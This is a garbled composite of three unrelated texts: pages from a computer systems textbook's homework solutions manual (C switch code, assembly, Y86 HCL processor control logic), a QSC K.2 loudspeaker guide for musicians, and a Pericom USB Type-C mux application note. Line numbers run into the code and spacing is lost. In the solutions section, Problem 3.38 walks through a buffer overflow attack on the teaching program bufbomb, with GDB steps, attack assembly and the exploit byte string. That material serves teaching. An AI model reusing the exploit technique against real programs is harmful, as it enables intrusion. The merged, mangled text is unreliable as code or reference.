enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:9result=*p1;10*p1=*p2;11break;12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;12break;13case54:14result*=3;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;15cnt--;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt);1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer overﬂow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return aﬁxed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4<getbuf>:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call8048470<getxs>98048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3ret13804850f:90nopWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes below the return address.Our strategy then is to push a string that contains12bytes of code,the saved value1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.Weﬁnd the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.Weﬁnd the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will overﬂow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data813:bf00000000mov$0x0,%edi16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:6828850408b8ef be ad de c390e8ef ff bf bc ef ff bf00000000Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between theﬂoating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’18CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1####################################################################2#HCL Description of Control for Single Cycle Y86Processor SEQ#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"sim.h"’15quote’int sim_main(int argc,char*argv[]);’16quote’int gen_pc(){return0;}’17quote’int main(int argc,char*argv[])’18quote’{plusmode=0;return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’35intsig IPUSHL’I_PUSHL’36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##### 48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic####################1.4.CHAPTER4:PROCESSOR ARCHITECTURE195152#####Fetch stage inputs#####53intsig pc’pc’#Program counter54#####Fetch stage computations#####55intsig icode’icode’#Instruction control code56intsig ifun’ifun’#Instruction function57intsig rA’ra’#rA field from instruction58intsig rB’rb’#rB field from instruction59intsig valC’valc’#Constant from instruction60intsig valP’valp’#Address of following instruction 6162#####Decode stage computations#####63intsig valA’vala’#Value from register A port64intsig valB’valb’#Value from register B port 6566#####Execute stage computations#####67intsig valE’vale’#Value computed by ALU68boolsig Bch’bcond’#Branch test6970#####Memory stage computations#####71intsig valM’valm’#Value read from memory727374####################################################################75#Control Signal Definitions.#76#################################################################### 7778################Fetch Stage################################### 7980#Does fetched instruction require a regid byte?81bool need_regids=82icode in{IRRMOVL,IOPL,IPUSHL,IPOPL,83IIADDL,84IIRMOVL,IRMMOVL,IMRMOVL};8586#Does fetched instruction require a constant word?87bool need_valC=88icode in{IIRMOVL,IRMMOVL,IMRMOVL,IJXX,ICALL,IIADDL};8990bool instr_valid=icode in91{INOP,IHALT,IRRMOVL,IIRMOVL,IRMMOVL,IMRMOVL,92IIADDL,ILEAVE,93IOPL,IJXX,ICALL,IRET,IPUSHL,IPOPL};9495################Decode Stage################################### 9697##What register should be used as the A source?98int srcA=[99icode in{IRRMOVL,IRMMOVL,IOPL,IPUSHL}:rA;20CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 101icode in{IPOPL,IRET}:RESP;1021:RNONE;#Don’t need register103];104105##What register should be used as the B source?106int srcB=[107icode in{IOPL,IRMMOVL,IMRMOVL}:rB;108icode in{IIADDL}:rB;109icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;110icode in{ILEAVE}:REBP;1111:RNONE;#Don’t need register112];113114##What register should be used as the E destination?115int dstE=[116icode in{IRRMOVL,IIRMOVL,IOPL}:rB;117icode in{IIADDL}:rB;118icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;119icode in{ILEAVE}:RESP;1201:RNONE;#Don’t need register121];122123##What register should be used as the M destination?124int dstM=[125icode in{IMRMOVL,IPOPL}:rA;126icode in{ILEAVE}:REBP;1271:RNONE;#Don’t need register128];129130################Execute Stage###################################131132##Select input A to ALU133int aluA=[134icode in{IRRMOVL,IOPL}:valA;135icode in{IIRMOVL,IRMMOVL,IMRMOVL}:valC;136icode in{IIADDL}:valC;137icode in{ICALL,IPUSHL}:-4;138icode in{IRET,IPOPL}:4;139icode in{ILEAVE}:4;140#Other instructions don’t need ALU141];142143##Select input B to ALU144int aluB=[145icode in{IRMMOVL,IMRMOVL,IOPL,ICALL,146IPUSHL,IRET,IPOPL}:valB;147icode in{IIADDL,ILEAVE}:valB;148icode in{IRRMOVL,IIRMOVL}:0;149#Other instructions don’t need ALU1.4.CHAPTER4:PROCESSOR ARCHITECTURE21151152##Set the ALU function153int alufun=[154icode==IOPL:ifun;1551:ALUADD;156];157158##Should the condition codes be updated?159bool set_cc=icode in{IOPL,IIADDL};160161################Memory Stage###################################162163##Set read control signal164bool mem_read=icode in{IMRMOVL,IPOPL,IRET,ILEAVE};165166##Set write control signal167bool mem_write=icode in{IRMMOVL,IPUSHL,ICALL};168169##Select memory address170int mem_addr=[171icode in{IRMMOVL,IPUSHL,ICALL,IMRMOVL}:valE;172icode in{IPOPL,IRET}:valA;173icode in{ILEAVE}:valA;174#Other instructions don’t need address175];176177##Select memory input data178int mem_data=[179#Value from register180icode in{IRMMOVL,IPUSHL}:valA;181#Return PC182icode==ICALL:valP;183#Default:Don’t write anything184];185186################Program Counter Update############################187188##What address should instruction be fetched at189190int new_pc=[191#e instruction constant192icode==ICALL:valC;193#Taken e instruction constant194icode==IJXX&&Bch:valC;195#Completion of RET e value from stack196icode==IRET:valM;197#Default:Use incremented PC1981:valP;199];22CHAPTER 1.SOLUTIONS TO HOMEWORK PROBLEMSME DMispredictE DM E DM M E D E DMGen./use 1W E DM Gen./use 2WE DM Gen./use 3W Figure 1.1:Pipeline states for special control conditions.The pairs connected by arrows can arisesimultaneously.code/arch/pipe-nobypass-ans.hcl1.4.CHAPTER4:PROCESSOR ARCHITECTURE232#At most one of these can be true.3bool F_bubble=0;4bool F_stall=5#Stall if either operand source is destination of6#instruction in execute,memory,or write-back stages7d_srcA!=RNONE&&d_srcA in8{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||9d_srcB!=RNONE&&d_srcB in10{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||11#Stalling at fetch while ret passes through pipeline12IRET in{D_icode,E_icode,M_icode};1314#Should I stall or inject a bubble into Pipeline Register D?15#At most one of these can be true.16bool D_stall=17#Stall if either operand source is destination of18#instruction in execute,memory,or write-back stages19#but not part of mispredicted branch20!(E_icode==IJXX&&!e_Bch)&&21(d_srcA!=RNONE&&d_srcA in22{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||23d_srcB!=RNONE&&d_srcB in24{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE});2526bool D_bubble=27#Mispredicted branch28(E_icode==IJXX&&!e_Bch)||29#Stalling at fetch while ret passes through pipeline30!(E_icode in{IMRMOVL,IPOPL}&&E_dstM in{d_srcA,d_srcB})&&31#but not condition for a generate/use hazard32!(d_srcA!=RNONE&&d_srcA in33{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||34d_srcB!=RNONE&&d_srcB in35{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE})&&36IRET in{D_icode,E_icode,M_icode};3738#Should I stall or inject a bubble into Pipeline Register E?39#At most one of these can be true.40bool E_stall=0;41bool E_bubble=42#Mispredicted branch43(E_icode==IJXX&&!e_Bch)||44#Inject bubble if either operand source is destination of45#instruction in execute,memory,or write back stages46d_srcA!=RNONE&&47d_srcA in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}|| 48d_srcB!=RNONE&&49d_srcB in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE};5024CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 52#At most one of these can be true.53bool M_stall=0;54bool M_bubble=0;code/arch/pipe-full-ans.hcl 1####################################################################2#HCL Description of Control for Pipelined Y86Processor#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"pipeline.h"’15quote’#include"stages.h"’16quote’#include"sim.h"’17quote’int sim_main(int argc,char*argv[]);’18quote’int main(int argc,char*argv[]){return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’1.4.CHAPTER4:PROCESSOR ARCHITECTURE25 36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##########################48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic##############5152#####Pipeline Register F##########################################5354intsig F_predPC’pc_curr->pc’#Predicted value of PC5556#####Intermediate Values in Fetch Stage###########################5758intsig f_icode’if_id_next->icode’#Fetched instruction code59intsig f_ifun’if_id_next->ifun’#Fetched instruction function60intsig f_valC’if_id_next->valc’#Constant data of fetched instruction 61intsig f_valP’if_id_next->valp’#Address of following instruction 6263#####Pipeline Register D##########################################64intsig D_icode’if_id_curr->icode’#Instruction code65intsig D_rA’if_id_curr->ra’#rA field from instruction66intsig D_rB’if_id_curr->rb’#rB field from instruction67intsig D_valP’if_id_curr->valp’#Incremented PC6869#####Intermediate Values in Decode Stage#########################7071intsig d_srcA’id_ex_next->srca’#srcA from decoded instruction72intsig d_srcB’id_ex_next->srcb’#srcB from decoded instruction73intsig d_rvalA’d_regvala’#valA read from register file74intsig d_rvalB’d_regvalb’#valB read from register file 7576#####Pipeline Register E##########################################77intsig E_icode’id_ex_curr->icode’#Instruction code78intsig E_ifun’id_ex_curr->ifun’#Instruction function79intsig E_valC’id_ex_curr->valc’#Constant data80intsig E_srcA’id_ex_curr->srca’#Source A register ID81intsig E_valA’id_ex_curr->vala’#Source A value82intsig E_srcB’id_ex_curr->srcb’#Source B register ID83intsig E_valB’id_ex_curr->valb’#Source B value84intsig E_dstE’id_ex_curr->deste’#Destination E register ID。

QSC K.2系列扬声器应用指南-独奏二重奏音乐家说明书

Solo /R e v A M a y 2017 K .2 S E R I E S L O U D S P ES INCE THEIR INTRODUCTION IN 2009, K FAMILY LOUDS PEAKERS HAVE BECOME THE GO-TO FAVORITE PRODUCT FOR PROFESSIONAL AUDIO USERS MORE THAN A MILLION TIMES OVER. CONTINUING THAT TRADITION, THE QSC K.2 SERIES IS QUITE SIMPLY THE “NEXT STANDARD” IN POWERED LOUDSPEAKERS.THIS APPLICATION GUIDE IS DESIGNED TO OFFER YOU A FEW EXAMPLES OF HOW TO UTILIZE THE K.2 SERIES IN COMMON S OLO AND DUO MUS ICIAN S ITUATIONS. WHILE EACH INDIVIDUAL OR GROUP’S NEEDS MAY VARY, THIS GUIDE S HOULD S ERVE AS A GOOD S TARTING POINT ON HOW TO CONFIGURE AND DEPLOY THES E PRODUCTS IN YOUR APPLICATION. THERE ARE ALS O MANY OTHER AS S ETS AVAILABLE TO YOU ONLINE AT INCLUDING VIDEOS, TECHNICAL DOCUMENTS AND MORE TO HELP YOU GET THE MOST FROM YOUR QSC PURCHASE. WE HOPE YOU TAKE ADVANTAGE OF EVERYTHING AVAILABLE AND WISH YOU A MOST SUCCESSFUL AND ENJOYABLE EXPERIENCE WITH YOUR K.2 SERIES. ONE FINAL NOTE: DON’T FORGET TO REGISTER YOUR K.2 SERIES ONLINE AT TO RECEIVE OUR FREE GLOBAL 6-YEAR EXTENDED WARRANTY. WHILE YOU’LL PROBABLY NEVER US E IT, IT Array ADDS AN ADDITIONAL LEVEL OF CONFIDENCE THAT YOUR PURCHAS E WILLDELIVER LASTING PERFORMANCE NIGHT AFTER NIGHT, YEAR AFTER YEAR.WHA T’S NEWLet’s look at the inputs on the K.2 loudspeakers. They’re still somewhat familiar to the K user, but updated a bit. As with the original K series, Input A again can be mic or line level, but Input B now can be either a line level input or a high-Z one suitable for musical instruments that have passive magnetic or piezo pickups. That’s right—the K.2 Series loudspeakers can be used as guitar or bass combo amp, and they won’t load down the instrument like a regular mic or line input would. Input C is a stereo-summed-to mono channel with a 3.5 mm stereo jack, suitable for playback from portable digital audio devices such as phones, MP3 players, etc.The three inputs each have their own gain knob and get mixed down to provide signal for the digital signal processing (DSP) and class D amplification stages. A line-level summed output provides a means to send the mixed signal on to other loudspeakers or other devices.The biggest advance is in the DSP capabilities of the K.2 loudspeakers. In addition to voicing and protection duties, the K.2 Series DSP offers an array of user-configurable parameters that include EQ, delay, and presets. Yes, presets.DEFAUL T The standard voicing of the K.2 speaker* LIVE A voicing for live music reinforcement that lowers and balances frequencies that can be prone to feedback in a live mix.LIVE BRIGHT A voicing for live music reinforcement that offers slightly more high end than the “Live” voicing.DANCE A voicing that focuses on high-end clarity and low end extension, primarily for Dance/Pop/Hip Hop/etc music.* ST AGE MONITOR 1A voicing for using a stage monitor with a microphone that lowers and balances frequencies that can be prone to feedback in a monitor mix.ST AGE MONITOR 2A voicing for using a stage monitor without a microphone (such as a drum or keyboard monitor) that offers more low frequency extension than Stage Monitor 1.* ACOUSTIC GUIT AR/VOX A voicing for a vocal mic plugged into input A, and an acoustic guitar plugged into channel B that lowers and balances frequencies prone to feedback between those two input sources.BASS AMP A voicing optimized to provide performance similar to that of a combo bass amplifier.HAND MIC A voicing that lowers and balances frequencies that can be prone to feedback with common handheld dynamic microphones when used without a mixer.HEAD MIC A voicing that lowers and balances frequencies that can be prone to feedback with common headset microphones when used without a mixer.STUDIO MON A voicing that provides a more balanced overall speaker response with deeper extension to be used as a nearfield or studio monitor for mixing.K.2 loudspeakers have 11 presets so you can quickly dial in a collection of settings tailored to a certain application.*P R E S E T S F E AT U R E D I N T H I S A P P G U I D EThe K.2 Series loudspeakers also offer four bands of user-adjustable EQ:HIGH0 to -6 dB1–10 kHz ShelvingEQ10 to -6 dB50 Hz–20 kHz Q 0.4-4EQ20 to -6 dB200 Hz–20 kHz Q 0.4-4LOW0 to -6 dB100-500 Hz ShelvingUp to 100 ms of delay.80, 100, or 125 Hz high-pass filtering for use with a subwoofer.B U S K I N G/C O C KTA I L PA R T Y G I GA solo singer/instrumentalist can make use of the mixer built into each K.2 loudspeaker. For a small gig busking or playing a cocktail party this performer uses a single K8.2, plugging the vocal mic into Input A and the acoustic guitar’s piezo pickup system into Input B, plus another K8.2 as an optional small wedge monitor. If AC mains power is unavailable, the very low current draw of the loudspeaker makes it possible to run for a few hours from a suitable battery and inverter system.The Acoustic Guitar / Vox preset is optimized for using a vocal mic on Input A and an acoustic guitar with a piezo pickup on Input B.OptionalT E C H R E Q U I R E M E N T S:One vocal micOne acoustic guitar (direct in)Mains:One K8.2 loudspeaker [preset Acoustic Guitar / Vox; no sub]Monitor (optional):One K8.2 loudspeaker [preset Stage Monitor 1]C O F F E E H O U S E G I G/H O U S E C O N C E R TFor this gig the performer brings two K8.2 loudspeakers to place on stands as mains to reach the audience. The acoustic guitar and vocal mic mix on one of the main loudspeakers; its MIX OUT signal feeds the opposite loudspeaker. And then that loudspeaker’s MIX OUT signal feeds the optional third K8.2, which is the monitor.T E C H R E Q U I R E M E N T S:One vocal micOne acoustic guitar (direct in)Mains:One K8.2 loudspeaker [preset Acoustic Guitar / Vox; no sub]One K8.2 loudspeaker [preset Live; no sub]Monitor (optional):One K8.2 loudspeaker [preset Stage Monitor 1]DUO: GUIT AR, BASS, & VOCALSThis guitar/bass duo both sing. Their system consists of a small digital mixer to combine the two vocal mics plus the guitar and bass fed through DI boxes. The mixer’s main outputs feed the two K10.2 loudspeakers serving as mains.Two vocal micsOne acoustic guitar (direct in)One electric bass (direct in)Digital mixerMains:Two K10.2 loudspeakers [preset Live; no sub]T E C H R E Q U I R E M E N T S:K10.2K10.2T ouchMix -8™Aux Out Main OutProduct Registration©2017 QSC, LLC. All rights reserved. QSC and the QSC logo are registered trademarks of QSC, LLC in the U.S.Patent and Trademark Ofﬁce and other countries.World of K is a trademark of QSC, LLC.。

Pericom Semiconductor PI3USB30532 and PI3USB31532

Type-C application using PI3USB30532 and PI3USB31532By Paul LiTable of Content1.0 Introduction2.0 Why passive MUX (PI3USB3X532) is better than active MUX in notebook design?3.0 PI3USB3X532 in source-host: Notebook, tablet, AIO and desktop PC4.0 What are the recommended maximum traces for PI3USB3X532 in Intel notebook design?5.0 PI3USB3X532 in sink-device: Monitor and HDTV6.0 PI3USB3X532 in sink-device: Docking station7.0 The I2C control of PI3USB3X5328.0 Power and power de-coupling9.0 Layout guideline10.0 Appendix: application Reference Schematics1.0 IntroductionThe PI3USB30532, PI3USB31532 type-C cross switch family is developed using cutting-edge technology to achieve high performance of DP 1.2, DP 1.3, USB 3.0, USB 3.1 signals in type-C applications. PI3USB3X532 is fully compliant to type- C specifications. PI3USB3X532 was first to the market and successfully designed in many and various applications, such as notebook, tablet, AIO, PC, monitor, HDTV, docking stations, etc. PI3USB3X532 was also designed in Intel reference schematic and designed in Intel customer reference demonstration tablet.2.0 Why passive MUX (PI3USB3X532) is better than active MUX in notebook design?The market requests notebooks:Running for 6-8 hours in battery operationBoot-up after power-off for 6-8 daysIntel mobile CPU/chipset can now achieve 6W power consumption, thus:The ~0.4W to ~0.6W power consumption from an active MUX is way too high and not reasonable.Especially when compared to the <0.003W power consumption from PI3USB3X532, which is a 99% power saving compared to an active MUX.3.0 PI3USB3X532 in source-host: Notebook, tablet, AIO and desktop PCFigure 1, PI3USB30532, PI3USB31532 in notebook, tablet all-in-one and desktop PC4.0 What are the recommended maximum traces for PI3USB3X532 in Intel notebook design?4.1 DP 1.2, DP 1.3In Intel Kabylake design guideline, Intel recommends maximum 8” DP 1.2 trace without passive MUX and 4.1” with passive MUX as to pass DP 1.2 compliance test.Intel deducted 3.9” trace from the 8” DP 1.2 trace for the passive MUX, which is conservative for a high performance passive MUX such as PI3USB3X532, as explained in figure 2, figure 3a, figure 3b and in table-1 below.Based on the PI3USB30532 DP 1.2 eye compliance test results in figure 3a and figure 3b, as well the trace data in figure 2 and table-1, it is recommended as below.Maximum 6.2” trace for DP 1.2 (5.4Gbps) path, as:Intel DP 1.2 source → PI3USB3X532 → type-C connectorMaximum 4.0” trace for DP 1.3 (8Gbps) path, as:Intel DP 1.3 source → PI3USB31532 → type-C connector(Assuming the layout and schematics are as recommended as using 90ohm traces without chokes, etc., and in reasonable system conditions)4.2 USB3.0, USB3.1Based on the PI3USB30532 USB 3.0 eye compliance test results in figure 4a and figure 4b, as well the trace data in figure 2 and table-1, it is recommended as below.Maximum 8.5” trace for USB3.0 (5Gbps) path, as:USB3.0 host → PI3USB3X532 → type-C connectorMaximum 4.5” trace for USB3.1 (10Gbps) path, as:USB3.1 host → PI3USB31532 → type-C connector(Assuming the layout and schematics are as recommended below and in reasonable system conditions)Analyzer, as setup in figure-2.Note:The data above is not linear, because the performances vary with different switch-routings and signal-types between PI3USB30532 and PI3USB31532, while PI3USB31532 has better performance than PI3USB30532 mostly at higher speed.NA is for not applicable.4.3 The insertion loss of 3” differential trace on Intel trace boardFigure 2 the insertion loss of 3” FR4 differential trace on Intel trace board is measured using Agilent N5230A 20GHz Network Analyzer (chart by James Liu)4.4 The PI3USB30532 Intel Haswell MB DP 1.2 eye compliance test resultFigure 3a the eye of DP 1.2 (5.4Gbps) compliance test using PI3USB30532 setup (figure 3b) with Asus H97i-plus MB (Intel Haswell) and 7”trace passed the DP 1.2 HBR2 compliance test 3.1 using Tektronix scope at 400mV, 3.5db pre-emphasis. The upper waveform is at T3 with emulation cable in scope. The lower waveform is at T2 without emulation cable (waveform by Jerry Chou).4.5 The test setup of 4.4Figure 3b the test setup of PI3USB30532 with 7” trace (2.8”+3.9”+0.3”) using Intel Haswell DP 1.2 source passed DP 1.2 (5.4Gbps) eye compliance test 3.1 as in figure 3aFigure 4a the Tx and Rx eyes passed the USB 3.0 (5Gbps) compliance test at the USB 3.0 connector of notebook (Intel Haswell) without PI3USB30532 EV board. To be compared to figure 4b with PI3USB30532 EVB (waveform by Jerry Chou)Figure 4b the Tx and Rx eyes passed USB 3.0 (5Gbps) compliance test with 10.2” trace (5.5”+3.3”+1.4”) using notebook (Intel Haswell) and PI3USB30532 EV board. To be compared to figure 4a without PI3USB30532 EV board (waveform by Jerry Chou).5.0 PI3USB3X532 in sink-device: Monitor and HDTVFigure 5, PI3USB30532, PI3USB31532 in monitor and HDTVNo active DP re-driver and USB3.0 re-driver needed in type-C MUX (PI3USB30532) or between the switches in cascading (PI3USB30532, PI3WVR12412, PI3PCIE3242).o Because there are sufficient total source and sink equalization, as:▪Up to 9db output pre-emphasis (equalization) in DP source and USB3.0 Tx▪Up to 9db input equalization in DP scalar and USB3.0 Rx receiver.o The total 18db equalization in source and sink is sufficient to compensate the estimated total insertion loss from the topology in figure 5:▪Max 7.7db from total 10” traces▪Max 4db from 2m type-Cable▪Max 1.5db from PI3USEB30532▪Max 1.5db from PI3WVR12412 or PI3PCIE32426.0 PI3USB3X532 in sink-device: Docking stationFigure 6, PI3USB30532, PI3USB31532 in docking station7.0 The I2C control of PI3USB3X532PI3USB3X532 has total three I2C registers as Conf [2:0], which is mapped between the I2C control signals and the configuration tables (source, sink) as in figure-7.When using I2C interface to control PI3USB3X532, the I2C controller (in PD or MCU) will need sending total three bytes to PI3USB30532 in sequence as:Start →→#1 byte for address as “10101000” (assuming A1_A0 set to 00, while last 0 for write)”→#2 byte for chip-ID as fixed “00000000”→#3 byte for Conf [2:0] control as “00000111” (assum ing Conf [2:0]=111 as for USB3+DPx2 swapped) →Stop (must have stop, otherwise uncertainty may occur)Figure 7, The I2C-control of the configuration table for source-sink (source-sink tables are the same)I2C-controls PI3USB30532 in real applicationFor both source and sink applications, when a type-C plug is plugging into the source or sink type-C connectors with PI3USB30532 and PD, the I2C controller (in PD or MCU) shall I2C-control PI3USB30532 as:DPx4 only, non-swap:Start →10101000 (last 0 for write) →00000000→00000010→stopDPx4 only, swapped:Start →10101000 →00000000→00000011→stopUSB3.0 only, non-swap:Start →10101000 →00000000→00000100→stopUSB3.0 only, swapped:Start →10101000 →00000000→00000101→stopUSB3+DPx2, non-swap:Start →10101000 →00000000→00000110→stopUSB3+DPx2, swapped:Start →1010100 →00000000→00000111→stop8.0 Power and power de-couplingUse 0.1uf in size of 0402 for all the Vdd (any power pins) pins of the IC device, as close to the Vdd pins as possible, within 2-3mm if feasible.Use dedicated Vdd and GND planes for to minimize the jitters coupled between channel trough power sources.9.0 Layout guideline9.1 Recommend 90 ohm differential impedance trace for differential DP and USB 3.0 signalsFigure 8, the trace width and clearance❑Use 6-7-6 mils for trace-space-trace for the micro-strip lines (the traces on top and bottom layers) for 90 ohm differential impedance.❑Use 6-5-6 mils for trace-space-trace for the strip-lines (the traces inside layers) for 90 ohm differential impedance.❑Use FR4.❑Using standard 4 to 8 layers stack-up with 0.062 inch thick PCB.❑For micro-strip lines, using ½ OZ Cu plated is ok.❑For strip-lines in 6 plus players, using 1 OZ Cu is better.❑The trace length miss-matching shall be less than 5 mils for the “+” and “–“ traces in the same pairs❑More pair-to-pair spacing for minimal crosstalk❑Target differential Zo of 90 ohm ±15%9.2 The PCB Layers StackupNo new PCB technology required. Use FR4 is fine.Using standard 4 to 8 layers stack-up with 0.062 inch thick PCB.For micro strip lines, using ½ OZ Cu plated is ok.For strip line in 6 plus players, using 1 OZ Cu is better.Figure 9, the stackup9.3 The Layout Guidance for the Trace RoutingsFigure 10, The layout guidance for the trace routingsDon’t use EMI chokes, because PI3USB30532 and PI3USB31532 are passive switches not having EMI issues.The differential traces shall be away from the strong EMI source and devices, such as TTL, switching-power traces anddevices, with at least 30mil to 50mil space.No other components shall piggy ride on the differential traces.10 Appendix: application Reference SchematicsC76-C83 a re "mus t h ave" to pr eve nt n on-DP c omp lia ntd t ype-C c onn ecto r, bec ausewit hou t EM I i ssue.TV SPI3USB30532 DFP-source reference schematic for type-C PD/DP/ALT applicationTV S d t 